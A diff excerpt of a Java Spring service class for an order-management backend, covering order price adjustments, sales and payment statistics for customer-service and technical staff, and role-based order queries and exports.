- } - - /** - * 订单改价 - */ - @Override - @Transactional(propagation = Propagation.REQUIRED, rollbackFor = Exception.class) - public int gjOrder(Long orderId, BigDecimal price) { - TpOrder order = baseMapper.selectById(orderId); - //已支付减去改价金额 - BigDecimal payPrice = order.getPayPrice().subtract(price); - if(order.getPayState() != 1){ - if(payPrice.compareTo(BigDecimal.ZERO) < 0){ - throw new ServiceException("改价金额不能大于客户已付金额"); - } - order.setGjPrice(price); - order.setJsPrice(order.getPrice().subtract(order.getCdPrice()).subtract(price)); - order.setGpay(getGjPayPrice(order.getPrice(),order.getPayPrice().add(order.getCoupon()),price)); - BigDecimal jsPayPrice = getJsPayPrice(order.getPrice(),order.getPayPrice(),order.getPrice().subtract(order.getCdPrice()).subtract(price)); - order.setJsPayPrice(getJsPay(jsPayPrice.subtract(order.getBreach()))); - }else{ - order.setGjPrice(price); - order.setJsPrice(order.getPrice().subtract(order.getCdPrice()).subtract(price)); - } - boolean res = saveOrderRecord(order.getId(),"订单改价","订单:"+order.getOrderId()+"改价成功!改价金额:"+price,2,null); - if(!res){ - throw new ServiceException("订单改价失败"); - } - return baseMapper.updateById(order); - } - - /** - * 查询订单统计(客服) - * @param bo - * @return - */ - @Override - public CustomerOrderSumVo queryCustomerSum(TpOrderBo bo) { - LoginUser loginUser = LoginHelper.getLoginUser(); - CustomerOrderSumVo vo = new CustomerOrderSumVo(); - bo.setIsDel(1); - - MPJLambdaWrapper mlqw = buildQueryMPJWrapperKF(bo); - mlqw.leftJoin(SysUser.class,"s",SysUser::getUserId,TpOrder::getSid) - .leftJoin(SysUser.class,"f",SysUser::getUserId,TpOrder::getFid) - .leftJoin(SysUser.class,"b",SysUser::getUserId,TpOrder::getBid) - .leftJoin(TpClient.class,TpClient::getId,TpOrder::getKid) - .leftJoin(TpClientStaff.class,TpClientStaff::getId,TpOrder::getSkid) - .leftJoin(TpWechat.class,TpWechat::getId,TpOrder::getWid); - Long orderCount = baseMapper.selectJoinCount(mlqw); - vo.setOrderCount(orderCount); - - MPJLambdaWrapper lqw = buildQueryMPJWrapperKF(bo); - lqw.select(TpOrder::getId,TpOrder::getPrice,TpOrder::getPayPrice,TpOrder::getGjPrice,TpOrder::getGpay,TpOrder::getCdPrice,TpOrder::getKfpay,TpOrder::getCoupon) - .leftJoin(SysUser.class,"s",SysUser::getUserId,TpOrder::getSid) - .leftJoin(SysUser.class,"f",SysUser::getUserId,TpOrder::getFid) - .leftJoin(SysUser.class,"b",SysUser::getUserId,TpOrder::getBid) - .leftJoin(TpClient.class,TpClient::getId,TpOrder::getKid) - .leftJoin(TpClientStaff.class,TpClientStaff::getId,TpOrder::getSkid) - .leftJoin(TpWechat.class,TpWechat::getId,TpOrder::getWid); - - List list = baseMapper.selectJoinList(TpOrderVo.class,lqw); - BigDecimal zyjSum = list.stream().map(f -> new BigDecimal(String.valueOf(f.getPrice()))).reduce(BigDecimal.ZERO, BigDecimal::add); - BigDecimal ydkSum = list.stream().map(f -> new BigDecimal(String.valueOf(f.getPayPrice()))).reduce(BigDecimal.ZERO, BigDecimal::add); - BigDecimal cdze = list.stream().map(f -> new BigDecimal(String.valueOf(f.getCdPrice()))).reduce(BigDecimal.ZERO, BigDecimal::add); - //BigDecimal cdyfk = list.stream().map(f -> new BigDecimal(String.valueOf(f.getKfpay()))).reduce(BigDecimal.ZERO, BigDecimal::add); - - BigDecimal cdyfk = new BigDecimal(0); - if(StringUtils.isNotBlank(bo.getOrderId()) || bo.getDeptIds() != null || bo.getPhone() != null || StringUtils.isNotBlank(bo.getWcode()) || StringUtils.isNotBlank(bo.getScode()) || StringUtils.isNotBlank(bo.getBcode()) || StringUtils.isNotBlank(bo.getFcode()) || bo.getAssignState() != null || bo.getStyle() != null || StringUtils.isNotBlank(bo.getSpace()) || bo.getQuality() != null || bo.getType() != null || bo.getState() != null || StringUtils.isNotBlank(bo.getRemark()) || StringUtils.isNotBlank(bo.getJsRemark()) || bo.getPayState() != null || bo.getIsC() != null){ - List oids = list.stream().map(TpOrderVo::getId).collect(Collectors.toList()); - if(oids.size() > 0){ - cdyfk = staffPayMapper.selectList(new LambdaQueryWrapper().select(TpStaffPay::getPrice).in(TpStaffPay::getOid,oids)).stream().map(TpStaffPay::getPrice).reduce(BigDecimal.ZERO, BigDecimal::add); - } - }else{ - if(loginUser.getIdentity() == 3){ - cdyfk = staffPayMapper.selectList(new LambdaQueryWrapper().select(TpStaffPay::getPrice).eq(TpStaffPay::getAddUser,loginUser.getIdentity()).between(TpStaffPay::getAddTime,bo.getParams().get("addBeginTime"),bo.getParams().get("addEndTime"))).stream().map(TpStaffPay::getPrice).reduce(BigDecimal.ZERO, BigDecimal::add); - }else { - cdyfk = staffPayMapper.selectList(new LambdaQueryWrapper().select(TpStaffPay::getPrice).between(TpStaffPay::getAddTime,bo.getParams().get("addBeginTime"),bo.getParams().get("addEndTime"))).stream().map(TpStaffPay::getPrice).reduce(BigDecimal.ZERO, BigDecimal::add); - } - } - BigDecimal gjyj = list.stream().map(f -> new BigDecimal(String.valueOf(f.getGjPrice()))).reduce(BigDecimal.ZERO, BigDecimal::add); - BigDecimal gjydk = list.stream().map(f -> new BigDecimal(String.valueOf(f.getGpay()))).reduce(BigDecimal.ZERO, BigDecimal::add); - BigDecimal yhqze = list.stream().map(f -> new BigDecimal(String.valueOf(f.getCoupon()))).reduce(BigDecimal.ZERO, BigDecimal::add); - vo.setYhqze(yhqze); - vo.setGjyj(gjyj); - vo.setGjydk(gjydk); - - vo.setZyjSum(zyjSum); - vo.setYdkSum(ydkSum); - vo.setWdkSum(zyjSum.subtract(ydkSum.add(yhqze))); - // 检查 zyjSum 是否为零 - if (zyjSum.compareTo(BigDecimal.ZERO) == 0) { - vo.setDkl("0%"); - } else { - BigDecimal dkl = (ydkSum.add(yhqze)).divide(zyjSum, 2, RoundingMode.HALF_UP); - vo.setDkl(dkl.multiply(BigDecimal.valueOf(100)) + "%"); - } - // 检查 orderCount 是否为零 - if (orderCount == 0) { - vo.setJj(BigDecimal.ZERO); - } else { - vo.setJj(zyjSum.divide(BigDecimal.valueOf(orderCount), 2, RoundingMode.HALF_UP)); - } - vo.setCdze(cdze); - vo.setCdyfk(cdyfk); - vo.setSjydk(ydkSum.subtract(cdyfk)); - return vo; - } - - /** - * 客服首页统计 - * @return - */ - @Override - public IndexSumVo getKfTarget() { - LoginUser loginUser = LoginHelper.getLoginUser(); - DateTime now = DateTime.now(); - int year = now.year(); - String month = DateUtil.format(new Date(), "yyyy-MM"); - String day = DateUtil.format(new Date(), "yyyy-MM-dd"); - - IndexSumVo indexSumVo = new IndexSumVo(); - TpYearVo yearVo = yearMapper.selectVoOne(new LambdaQueryWrapper().eq(TpYear::getSid, loginUser.getUserId()).eq(TpYear::getYear, year)); - TpMonthVo monthVo = monthMapper.selectVoOne(new LambdaQueryWrapper().eq(TpMonth::getSid, loginUser.getUserId()).eq(TpMonth::getMonth, month+"-01")); - - if(ObjectUtil.isNotEmpty(yearVo)){ - indexSumVo.setGrnTarget(yearVo.getGeren()); - indexSumVo.setGsnTarget(yearVo.getGongsi()); - } - if(ObjectUtil.isNotEmpty(monthVo)){ - indexSumVo.setGryTarget(monthVo.getGeren()); - indexSumVo.setGsyTarget(monthVo.getGongsi()); - } - - LambdaQueryWrapper lqw = new LambdaQueryWrapper() - .select(TpOrder::getPrice,TpOrder::getPayPrice,TpOrder::getCoupon) - .eq(TpOrder::getIsDel,1) - .eq(TpOrder::getSid,loginUser.getUserId()) - .ge(TpOrder::getAddTime,year); - List list = baseMapper.selectList(lqw); - BigDecimal ywcYSum = list.stream().map(f -> new BigDecimal(String.valueOf(f.getPrice()))).reduce(BigDecimal.ZERO, BigDecimal::add); - BigDecimal ydkYSum = list.stream().map(f -> new BigDecimal(String.valueOf(f.getPayPrice()))).reduce(BigDecimal.ZERO, BigDecimal::add); - BigDecimal yhqze = list.stream().map(f -> new BigDecimal(String.valueOf(f.getCoupon()))).reduce(BigDecimal.ZERO, BigDecimal::add); - indexSumVo.setYwcYSum(String.valueOf(ywcYSum)); - indexSumVo.setYdkYSum(String.valueOf(ydkYSum.add(yhqze))); - - LambdaQueryWrapper lqw1 = new LambdaQueryWrapper() - .select(TpOrder::getPrice,TpOrder::getPayPrice,TpOrder::getCoupon) - .eq(TpOrder::getIsDel,1) - .eq(TpOrder::getSid,loginUser.getUserId()) - .ge(TpOrder::getAddTime,month+"-01"); - List list1 = baseMapper.selectList(lqw1); - BigDecimal ywcMSum = list1.stream().map(f -> new BigDecimal(String.valueOf(f.getPrice()))).reduce(BigDecimal.ZERO, BigDecimal::add); - BigDecimal ydkMSum = list1.stream().map(f -> new BigDecimal(String.valueOf(f.getPayPrice()))).reduce(BigDecimal.ZERO, BigDecimal::add); - BigDecimal yhqze1 = list1.stream().map(f -> new BigDecimal(String.valueOf(f.getCoupon()))).reduce(BigDecimal.ZERO, BigDecimal::add); - indexSumVo.setYwcMSum(String.valueOf(ywcMSum)); - indexSumVo.setYdkMSum(String.valueOf(ydkMSum.add(yhqze1))); - - LambdaQueryWrapper lqw2 = new LambdaQueryWrapper() - .select(TpOrder::getPrice,TpOrder::getPayPrice,TpOrder::getCoupon) - .eq(TpOrder::getIsDel,1) - .eq(TpOrder::getSid,loginUser.getUserId()) - .ge(TpOrder::getAddTime,day); - List list2 = baseMapper.selectList(lqw2); - BigDecimal ywcDSum = list2.stream().map(f -> new BigDecimal(String.valueOf(f.getPrice()))).reduce(BigDecimal.ZERO, BigDecimal::add); - BigDecimal ydkDSum = list2.stream().map(f -> new BigDecimal(String.valueOf(f.getPayPrice()))).reduce(BigDecimal.ZERO, BigDecimal::add); - BigDecimal yhqze2 = list2.stream().map(f -> new BigDecimal(String.valueOf(f.getCoupon()))).reduce(BigDecimal.ZERO, BigDecimal::add); - indexSumVo.setYwcDSum(String.valueOf(ywcDSum)); - indexSumVo.setYdkDSum(String.valueOf(ydkDSum.add(yhqze2))); - return indexSumVo; - } - - /** - * 技术首页统计 - * @return - */ - @Override - public IndexSumVo getJsTarget() { - LoginUser loginUser = LoginHelper.getLoginUser(); - DateTime now = DateTime.now(); - int year = now.year(); - String month = DateUtil.format(new Date(), "yyyy-MM"); - String day = DateUtil.format(new Date(), "yyyy-MM-dd"); - String endDay = day + " 09:00:00"; - //昨天 - String yesterday = DateUtil.formatDate(DateUtil.yesterday()); - - IndexSumVo indexSumVo = new IndexSumVo(); - LambdaQueryWrapper lqw = new LambdaQueryWrapper() - .select(TpOrder::getJsPrice,TpOrder::getJsPayPrice,TpOrder::getCoupon) - .eq(TpOrder::getIsDel,1) - .eq(TpOrder::getBid,loginUser.getUserId()) - .between(TpOrder::getAddTime,year+"-01-01 00:00:00",endDay); - List list = baseMapper.selectList(lqw); - BigDecimal ywcYSum = list.stream().map(f -> new BigDecimal(String.valueOf(f.getJsPrice()))).reduce(BigDecimal.ZERO, BigDecimal::add); - BigDecimal ydkYSum = list.stream().map(f -> new BigDecimal(String.valueOf(f.getJsPayPrice()))).reduce(BigDecimal.ZERO, BigDecimal::add); - BigDecimal yhqze = list.stream().map(f -> new BigDecimal(String.valueOf(f.getCoupon()))).reduce(BigDecimal.ZERO, BigDecimal::add); - indexSumVo.setYwcYSum(String.valueOf(ywcYSum)); - indexSumVo.setYdkYSum(String.valueOf(ydkYSum.add(yhqze))); -// indexSumVo.setYwcYSum(getMinMultipleOfOneThousand(ywcYSum.intValue())+"以上"); -// indexSumVo.setYdkYSum(getMinMultipleOfOneThousand(ydkYSum.intValue())+"以上"); - - LambdaQueryWrapper lqw1 = new LambdaQueryWrapper() - .select(TpOrder::getJsPrice,TpOrder::getJsPayPrice,TpOrder::getCoupon) - .eq(TpOrder::getIsDel,1) - .eq(TpOrder::getBid,loginUser.getUserId()) - .between(TpOrder::getAddTime,month+"-01 00:00:00",endDay); - List list1 = baseMapper.selectList(lqw1); - BigDecimal ywcMSum = list1.stream().map(f -> new BigDecimal(String.valueOf(f.getJsPrice()))).reduce(BigDecimal.ZERO, BigDecimal::add); - BigDecimal ydkMSum = list1.stream().map(f -> new BigDecimal(String.valueOf(f.getJsPayPrice()))).reduce(BigDecimal.ZERO, BigDecimal::add); - BigDecimal yhqze1 = list1.stream().map(f -> new BigDecimal(String.valueOf(f.getCoupon()))).reduce(BigDecimal.ZERO, BigDecimal::add); - indexSumVo.setYwcMSum(String.valueOf(ywcMSum)); - indexSumVo.setYdkMSum(String.valueOf(ydkMSum.add(yhqze1))); - -// indexSumVo.setYwcMSum(getMinMultipleOfOneThousand(ywcMSum.intValue())+"以上"); -// indexSumVo.setYdkMSum(getMinMultipleOfOneThousand(ydkMSum.intValue())+"以上"); - - LambdaQueryWrapper lqw2 = new LambdaQueryWrapper() - .select(TpOrder::getJsPrice,TpOrder::getJsPayPrice,TpOrder::getCoupon) - .eq(TpOrder::getIsDel,1) - .eq(TpOrder::getBid,loginUser.getUserId()) - .between(TpOrder::getAddTime,yesterday+" 00:00:00",endDay); - List list2 = baseMapper.selectList(lqw2); - BigDecimal ywcDSum = list2.stream().map(f -> new BigDecimal(String.valueOf(f.getJsPrice()))).reduce(BigDecimal.ZERO, BigDecimal::add); - BigDecimal ydkDSum = list2.stream().map(f -> new BigDecimal(String.valueOf(f.getJsPayPrice()))).reduce(BigDecimal.ZERO, BigDecimal::add); - BigDecimal yhqze2 = list2.stream().map(f -> new BigDecimal(String.valueOf(f.getCoupon()))).reduce(BigDecimal.ZERO, BigDecimal::add); - indexSumVo.setYwcDSum(String.valueOf(ywcDSum)); - indexSumVo.setYdkDSum(String.valueOf(ydkDSum.add(yhqze2))); - -// indexSumVo.setYwcDSum(getMinMultipleOfOneThousand(ywcDSum.intValue())+"以上"); -// indexSumVo.setYdkDSum(getMinMultipleOfOneThousand(ydkDSum.intValue())+"以上"); - return indexSumVo; - } - - /** - *查询订单统计(技术) - * @param bo - * @return - */ - @Override - public SkillOrderSumVo querySkillSum(TpOrderBo bo) { - LoginUser loginUser = LoginHelper.getLoginUser(); - if (loginUser != null && loginUser.getIdentity() == 3){ - throw new ServiceException("您无权限查看技术订单列表"); - } - SkillOrderSumVo vo = new SkillOrderSumVo(); - bo.setIsDel(1); - MPJLambdaWrapper lqw = buildQueryMPJWrapper(bo); - lqw.leftJoin(SysUser.class,"s",SysUser::getUserId,TpOrder::getSid) - .leftJoin(SysUser.class,"f",SysUser::getUserId,TpOrder::getFid) - .leftJoin(SysUser.class,"b",SysUser::getUserId,TpOrder::getBid) - .leftJoin(TpClient.class,TpClient::getId,TpOrder::getKid) - .isNotNull(TpOrder::getBid); - Long orderCount = baseMapper.selectJoinCount(lqw); - vo.setOrderCount(orderCount); - - MPJLambdaWrapper olqw = buildQueryMPJWrapper(bo); - olqw.select(TpOrder::getId,TpOrder::getPrice,TpOrder::getGjPrice,TpOrder::getJsPrice,TpOrder::getJsPayPrice,TpOrder::getCoupon) - .leftJoin(SysUser.class,"s",SysUser::getUserId,TpOrder::getSid) - .leftJoin(SysUser.class,"f",SysUser::getUserId,TpOrder::getFid) - .leftJoin(SysUser.class,"b",SysUser::getUserId,TpOrder::getBid) - .leftJoin(TpClient.class,TpClient::getId,TpOrder::getKid) - .isNotNull(TpOrder::getBid); - List list = baseMapper.selectJoinList(TpOrderVo.class,olqw); - BigDecimal zyjSum = list.stream().map(f -> new BigDecimal(String.valueOf(f.getPrice().subtract(f.getGjPrice())))).reduce(BigDecimal.ZERO, BigDecimal::add); - BigDecimal ydkSum = list.stream().map(f -> new BigDecimal(String.valueOf(f.getJsPayPrice()))).reduce(BigDecimal.ZERO, BigDecimal::add); - BigDecimal yhqzeSum = list.stream().map(f -> new BigDecimal(String.valueOf(f.getCoupon()))).reduce(BigDecimal.ZERO, BigDecimal::add); - - vo.setZyjSum(zyjSum); - vo.setYdkSum(ydkSum); - vo.setYhqze(yhqzeSum); - // 检查 zyjSum 是否为零 - if (zyjSum.compareTo(BigDecimal.ZERO) == 0) { - vo.setDkl("0%"); - } else { - BigDecimal dkl = (ydkSum.add(yhqzeSum)).divide(zyjSum, 2, RoundingMode.HALF_UP); - vo.setDkl(dkl.multiply(BigDecimal.valueOf(100)) + "%"); - } - //List结果集取订单ID - List newList = list.stream().map(TpOrderVo::getId).collect(Collectors.toList()); - // 确保 newList 不为空 - if (newList != null && newList.size() > 0) { - LambdaQueryWrapper lwq1 = new LambdaQueryWrapper<>(); -// lwq1.inSql(TpOrderSmall::getOid,"select id from tp_order where is_del = 1"); - lwq1.in(TpOrderSmall::getOid,newList); - Long ycxt = smallMapper.selectCount(lwq1); - - LambdaQueryWrapper lwq2 = new LambdaQueryWrapper<>(); -// lwq2.in(TpOrderBig::getOid,"select id from tp_order where is_del = 1"); - lwq2.in(TpOrderBig::getOid,newList); - Long ycdt = bigMapper.selectCount(lwq2); - - LambdaQueryWrapper lwq3 = new LambdaQueryWrapper<>(); -// lwq3.in(TpOrderModel::getOid,"select id from tp_order where is_del = 1"); - lwq3.in(TpOrderModel::getOid,newList); - Long ycmx = modelMapper.selectCount(lwq3); - - vo.setYcxt(ycxt); - vo.setYcdt(ycdt); - vo.setYcmx(ycmx); - }else { - vo.setYcxt(0L); - vo.setYcdt(0L); - vo.setYcmx(0L); - } - return vo; - } - - //获取订单编号 - public static String genItemId() { - //取当前时间的长整形值包含毫秒 - long millis = System.currentTimeMillis(); - String result = String.valueOf(millis).substring(6, 13); - //加上两位随机数 - Random random = new Random(); - int end2 = random.nextInt(99); - //如果不足两位前面补0 - return "DD" + result + String.format("%02d", end2); - } - - //插入操作记录 - public Boolean saveOrderRecord(Long orderId, String type,String content,Integer state,String record) { - LoginUser loginUser = LoginHelper.getLoginUser(); - TpOrderRecord orderRecord = new TpOrderRecord(); - orderRecord.setOid(orderId); - orderRecord.setType(type); - orderRecord.setContent(content); - orderRecord.setAddUser(loginUser.getUserId()); - orderRecord.setAddTime(new Date()); - orderRecord.setState(state); - if(record != null){ - orderRecord.setRecord(record); - } - return recordMapper.insert(orderRecord) > 0; - } - - //改价已支付 - public BigDecimal getGjPayPrice(BigDecimal price,BigDecimal payPrice,BigDecimal gjPrice){ - BigDecimal bili = payPrice.divide(price,6,RoundingMode.HALF_UP); - return gjPrice.multiply(bili).setScale(2, RoundingMode.HALF_UP); - } - - //技术已支付 - public BigDecimal getJsPayPrice(BigDecimal price,BigDecimal payPrice,BigDecimal jsPrice){ - BigDecimal bili = payPrice.divide(price, 6, RoundingMode.HALF_UP); - return jsPrice.multiply(bili).setScale(2, RoundingMode.HALF_UP); - } - - public int getDataScope() { - LoginUser loginUser = LoginHelper.getLoginUser(); - List ids = loginUser != null ? - loginUser.getRoles().stream().filter(Objects::nonNull).map(role -> role.getDataScope()).filter(Objects::nonNull).collect(Collectors.toList()) : - Collections.emptyList(); - - if (ids.contains("1")) { - return 1; - } else if (ids.contains("2")) { - return 2; - } else if (ids.contains("3")) { - return 3; - } else if (ids.contains("4")) { - return 4; - } else if (ids.contains("5")) { - return 5; - } - return 0; - } - - public List getDeptIds(){ - LoginUser loginUser = LoginHelper.getLoginUser(); - List roleIds = loginUser.getRoles().stream().map(RoleDTO::getRoleId).collect(Collectors.toList()); - List getDeptIds = roleDeptMapper.selectList(new LambdaQueryWrapper().in(SysRoleDept::getRoleId, roleIds)).stream().map(SysRoleDept::getDeptId).collect(Collectors.toList()); - return getDeptIds.stream().distinct().collect(Collectors.toList()); - } - - public List getOrderTypeIds(){ - LoginUser loginUser = LoginHelper.getLoginUser(); - List roleIds = loginUser.getRoles().stream().map(RoleDTO::getRoleId).collect(Collectors.toList()); - List orderTypeIds = roleMapper.selectList(new LambdaQueryWrapper().in(SysRole::getRoleId, roleIds)).stream().map(SysRole::getOrderType).collect(Collectors.toList()); - // 使用 StringBuilder 拼接字符串 - StringBuilder sb = new StringBuilder(); - for (String orderType : orderTypeIds) { - sb.append(orderType).append(","); - } - // 去除最后一个多余的逗号 - if (sb.length() > 0) { - sb.setLength(sb.length() - 1); - } - List getOrderTypeIds = Arrays.stream(sb.toString().split(",")).map(Long::parseLong).collect(Collectors.toList()); - return getOrderTypeIds.stream().distinct().collect(Collectors.toList()); - } - - // 取大于等于num的最小1000倍数 - public static int getMinMultipleOfOneThousand(int num) { - return num / 1000 * 1000; - } - - /** - * 判断时间是否在今天9点之后 - * @param inputDateTime - * @return - */ - public static boolean isNotBeforeToday9AM(String inputDateTime) { - // 定义日期时间格式 - DateTimeFormatter formatter = DateTimeFormatter.ofPattern("yyyy-MM-dd HH:mm:ss"); - // 将输入的字符串转换为LocalDateTime对象 - LocalDateTime inputLocalDateTime = LocalDateTime.parse(inputDateTime, formatter); - // 获取今天的日期 - LocalDateTime today9AM = LocalDateTime.now().toLocalDate().atTime(0, 0); - // 比较两个日期时间 - return !inputLocalDateTime.isBefore(today9AM); - } - - private static BigDecimal getJsPay(BigDecimal number){ - // 定义除数和舍入模式 - BigDecimal divisor = new BigDecimal("50"); - RoundingMode mode = RoundingMode.DOWN; - // 计算逻辑 - return number.divide(divisor, 0, mode).multiply(divisor); - } -} +package org.dromara.work.service.impl; + +import cn.hutool.core.date.DateTime; +import cn.hutool.core.date.DateUtil; +import cn.hutool.core.util.ObjectUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; +import com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper; +import com.baomidou.mybatisplus.core.metadata.IPage; +import com.baomidou.mybatisplus.extension.plugins.pagination.Page; +import com.github.yulichang.base.MPJBaseServiceImpl; +import com.github.yulichang.wrapper.MPJLambdaWrapper; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.dto.RoleDTO; +import org.dromara.common.core.domain.model.LoginUser; +import org.dromara.common.core.exception.ServiceException; +import org.dromara.common.core.utils.MapstructUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.satoken.utils.LoginHelper; +import org.dromara.system.domain.SysDept; +import org.dromara.system.domain.SysRole; +import org.dromara.system.domain.SysRoleDept; +import org.dromara.system.domain.SysUser; +import org.dromara.system.mapper.SysDeptMapper; +import org.dromara.system.mapper.SysRoleDeptMapper; +import org.dromara.system.mapper.SysRoleMapper; +import org.dromara.system.mapper.SysUserMapper; +import org.dromara.work.domain.*; +import org.dromara.work.domain.bo.OrderRankingBo; +import org.dromara.work.domain.bo.TpClientFundBo; +import org.dromara.work.domain.bo.TpOrderBo; +import org.dromara.work.domain.vo.*; +import org.dromara.work.mapper.*; +import org.dromara.work.service.ITpClientFundService; +import org.dromara.work.service.ITpOrderService; +import org.springframework.stereotype.Service; +import org.springframework.transaction.annotation.Propagation; +import org.springframework.transaction.annotation.Transactional; + +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.time.LocalDateTime; +import java.time.format.DateTimeFormatter; +import java.util.*; +import java.util.stream.Collectors; + +/** + * 订单管理Service业务层处理 + * + * @author Maosw + * @date 2024-08-12 + */ +@RequiredArgsConstructor +@Service +public class TpOrderServiceImpl extends MPJBaseServiceImpl implements ITpOrderService { + + private final TpOrderMapper baseMapper; + + private final TpOrderSmallMapper smallMapper; + + private final TpOrderBigMapper bigMapper; + + private final TpOrderModelMapper modelMapper; + + private final TpOrderRecordMapper recordMapper; + + private final TpClientMapper clientMapper; + + private final TpClientStaffMapper clientStaffMapper; + + private final SysUserMapper sysUserMapper; + + private final TpMonthMapper monthMapper; + + private final TpYearMapper yearMapper; + + private final SysDeptMapper deptMapper; + + private final SysRoleMapper roleMapper; + + private final SysRoleDeptMapper roleDeptMapper; + + private final TpStaffPayMapper staffPayMapper; + + private final ITpClientFundService tpClientFundService; + + + /** + * 查询订单管理 + * + * @param id 主键 + * @return 订单管理 + */ + @Override + public TpOrderVo queryById(Long id){ + LoginUser loginUser = LoginHelper.getLoginUser(); + MPJLambdaWrapper wrapper = new MPJLambdaWrapper<>(); + wrapper.selectAll(TpOrder.class); + if(LoginHelper.isSuperAdmin()){ + wrapper.selectAs(TpClient::getName,TpOrderVo::getCname); + }else { + if (loginUser.getIdentity() == 3 || loginUser.getIdentity() == 1){ + wrapper.selectAs(TpClientStaff::getName,TpOrderVo::getCname); + } + } + wrapper.selectAs("s.nick_name",TpOrderVo::getSname) + .selectAs("f.nick_name",TpOrderVo::getFname) + .selectAs("b.nick_name",TpOrderVo::getBname) + .selectAs(TpWechat::getCode,TpOrderVo::getWname) + .leftJoin(SysUser.class,"s",SysUser::getUserId,TpOrder::getSid) + .leftJoin(SysUser.class,"f",SysUser::getUserId,TpOrder::getFid) + .leftJoin(SysUser.class,"b",SysUser::getUserId,TpOrder::getBid) + .leftJoin(TpClient.class,TpClient::getId,TpOrder::getKid) + .leftJoin(TpClientStaff.class,TpClientStaff::getId,TpOrder::getSkid) + .leftJoin(TpWechat.class,TpWechat::getId,TpOrder::getWid); + wrapper.eq(id != null, TpOrder::getId, id); + return baseMapper.selectJoinOne(TpOrderVo.class,wrapper); + } + + /** + * 查询订单信息 + * + * @param id + * @return + */ + @Override + public TpOrderVo selectById(Long id) { + MPJLambdaWrapper wrapper = new MPJLambdaWrapper<>(); + wrapper.selectAll(TpOrder.class); + wrapper.selectAs(TpClient::getName,TpOrderVo::getCname); + wrapper.selectAs("s.nick_name",TpOrderVo::getSname) + .selectAs("f.nick_name",TpOrderVo::getFname) + .selectAs("b.nick_name",TpOrderVo::getBname) + .selectAs(TpWechat::getCode,TpOrderVo::getWname) + .leftJoin(SysUser.class,"s",SysUser::getUserId,TpOrder::getSid) + .leftJoin(SysUser.class,"f",SysUser::getUserId,TpOrder::getFid) + .leftJoin(SysUser.class,"b",SysUser::getUserId,TpOrder::getBid) + .leftJoin(TpClient.class,TpClient::getId,TpOrder::getKid) + .leftJoin(TpClientStaff.class,TpClientStaff::getId,TpOrder::getSkid) + .leftJoin(TpWechat.class,TpWechat::getId,TpOrder::getWid); + wrapper.eq(id != null, TpOrder::getId, id); + return baseMapper.selectJoinOne(TpOrderVo.class,wrapper); + } + + /** + * 回收站导出订单 + * + * @param bo + * @return + */ + @Override + public List queryList(TpOrderBo bo) { + bo.setIsDel(2); + //和Mybatis plus一致,MPJLambdaWrapper的泛型必须是主表的泛型,并且要用主表的Mapper来调用 + MPJLambdaWrapper wrapper = buildQueryMPJWrapper(bo) + .selectAll(TpOrder.class) + .selectAs("s.nick_name",TpOrderVo::getSname) + .selectAs("f.nick_name",TpOrderVo::getFname) + .selectAs("b.nick_name",TpOrderVo::getBname) + .selectAs(TpClient::getName,TpOrderVo::getCname) + .selectAs(TpWechat::getCode,TpOrderVo::getWname) + .selectAs("concat(round(t.pay_price/t.price * 100),'%')",TpOrderVo::getBili) + .leftJoin(SysUser.class,"s",SysUser::getUserId,TpOrder::getSid) + .leftJoin(SysUser.class,"f",SysUser::getUserId,TpOrder::getFid) + .leftJoin(SysUser.class,"b",SysUser::getUserId,TpOrder::getBid) + .leftJoin(TpClient.class,TpClient::getId,TpOrder::getKid) + .leftJoin(TpWechat.class,TpWechat::getId,TpOrder::getWid) + .orderByDesc(TpOrder::getId); + return baseMapper.selectJoinList(TpOrderVo.class,wrapper); + } + + /** + * 客服订单导出 + * @param bo + * @return + */ + @Override + public List queryListKF(TpOrderBo bo) { + LoginUser loginUser = LoginHelper.getLoginUser(); + if (loginUser != null && loginUser.getIdentity() == 2){ + throw new ServiceException("您无权限导出客服订单列表"); + } + bo.setIsDel(1); + bo.setKfOrjs(1); + //和Mybatis plus一致,MPJLambdaWrapper的泛型必须是主表的泛型,并且要用主表的Mapper来调用 + MPJLambdaWrapper wrapper = buildQueryMPJWrapper(bo); + if(LoginHelper.isSuperAdmin()){ + wrapper.selectAll(TpOrder.class); + wrapper.selectAs(TpClient::getName,CustomerOrderVo::getCname); + }else { + if (loginUser.getIdentity() == 3 || loginUser.getIdentity() == 1){ + wrapper.select(TpOrder::getId,TpOrder::getOrderId,TpOrder::getRemark,TpOrder::getType,TpOrder::getAddTime,TpOrder::getNum,TpOrder::getJsRemark,TpOrder::getPrice,TpOrder::getPayState,TpOrder::getPayPrice,TpOrder::getEndPrice,TpOrder::getKfpay,TpOrder::getState,TpOrder::getGjPrice,TpOrder::getGpay,TpOrder::getIsCd,TpOrder::getDtTime); + wrapper.selectAs(TpClientStaff::getName,CustomerOrderVo::getCname); + }else { + wrapper.select(TpOrder::getId,TpOrder::getOrderId,TpOrder::getRemark,TpOrder::getType,TpOrder::getAddTime,TpOrder::getNum,TpOrder::getJsRemark,TpOrder::getPrice,TpOrder::getPayState,TpOrder::getPayPrice,TpOrder::getEndPrice,TpOrder::getGjPrice,TpOrder::getGpay,TpOrder::getIsCd,TpOrder::getState,TpOrder::getDtTime); + } + } + wrapper.selectAs("s.nick_name",CustomerOrderVo::getSname) + .selectAs("f.nick_name",CustomerOrderVo::getFname) + .selectAs("b.nick_name",CustomerOrderVo::getBname) + .selectAs(TpWechat::getCode,CustomerOrderVo::getWname) + .selectAs("concat(round(t.pay_price/t.price * 100),'%')",CustomerOrderVo::getBili) + .leftJoin(SysUser.class,"s",SysUser::getUserId,TpOrder::getSid) + .leftJoin(SysUser.class,"f",SysUser::getUserId,TpOrder::getFid) + .leftJoin(SysUser.class,"b",SysUser::getUserId,TpOrder::getBid) + .leftJoin(TpClient.class,TpClient::getId,TpOrder::getKid) + .leftJoin(TpClientStaff.class,TpClientStaff::getId,TpOrder::getSkid) + .leftJoin(TpWechat.class,TpWechat::getId,TpOrder::getWid) + .orderByDesc(TpOrder::getId); + return baseMapper.selectJoinList(TpOrderVo.class,wrapper); + } + + /** + * 导出技术订单 + * + * @param bo + * @return + */ + @Override + public List 